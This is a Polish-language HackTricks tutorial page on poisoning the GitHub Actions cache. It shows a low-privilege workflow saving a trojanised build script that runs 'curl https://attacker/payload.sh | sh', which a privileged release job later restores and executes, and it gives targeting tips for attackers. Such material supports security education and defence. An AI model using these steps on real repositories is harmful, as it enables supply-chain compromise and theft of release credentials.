GH Actions - Cache Poisoning

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Przegląd

Cache GitHub Actions jest globalny dla repozytorium. Każdy workflow, który zna cache key (lub restore-keys), może wypełnić ten wpis, nawet jeśli job ma jedynie permissions: contents: read. GitHub nie segreguje cache według workflow, typu zdarzenia ani poziomu zaufania, więc atakujący, który przejmie job o niskich uprawnieniach, może zatruć cache, który później przywróci uprzywilejowany job wydania. Tak właśnie kompromitacja Ultralytics przekształciła się z workflow pull_request_target w pipeline publikujący do PyPI.

Podstawy ataku

  • actions/cache udostępnia zarówno operacje restore, jak i save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Wywołanie save jest dozwolone dla każdego job, z wyjątkiem naprawdę niezaufanych workflow pull_request uruchamianych z forków.
  • Wpisy cache są identyfikowane wyłącznie przez key. Szerokie restore-keys ułatwiają wstrzyknięcie payloadów, ponieważ atakujący musi jedynie spowodować kolizję z prefiksem.
  • Zawartość cache (system plików) jest przywracana bez zmian. Jeśli cache zawiera skrypty lub binaria, które zostaną później uruchomione, atakujący kontroluje ścieżkę ich wykonania.

Przykładowy łańcuch eksploatacji

Workflow autora (pull_request_target) zatruł cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Uprzywilejowany workflow został przywrócony i wykonał poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Drugi job uruchamia teraz kod kontrolowany przez atakującego, jednocześnie posiadając dane uwierzytelniające do release’ów (PyPI tokens, PATs, cloud deploy keys, etc.).

Praktyczne wskazówki

  • Celuj w workflowy wywoływane przez pull_request_target, issue_comment, lub komendy bota, które nadal zapisują cache; GitHub pozwala im nadpisać klucze obowiązujące w całym repo nawet gdy runner ma tylko dostęp do odczytu.
  • Szukaj deterministycznych kluczy cache używanych przez różne granice zaufania (np. pip-${{ hashFiles('poetry.lock') }}) lub nadmiernie permisywnych restore-keys, a następnie zapisz swój złośliwy tarball zanim uruchomi się uprzywilejowany workflow.
  • Monitoruj logi pod kątem wpisów Cache saved lub dodaj własny krok zapisujący cache, aby następny release job przywrócił payload i wykonał trojanizowane skrypty lub binaria.

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks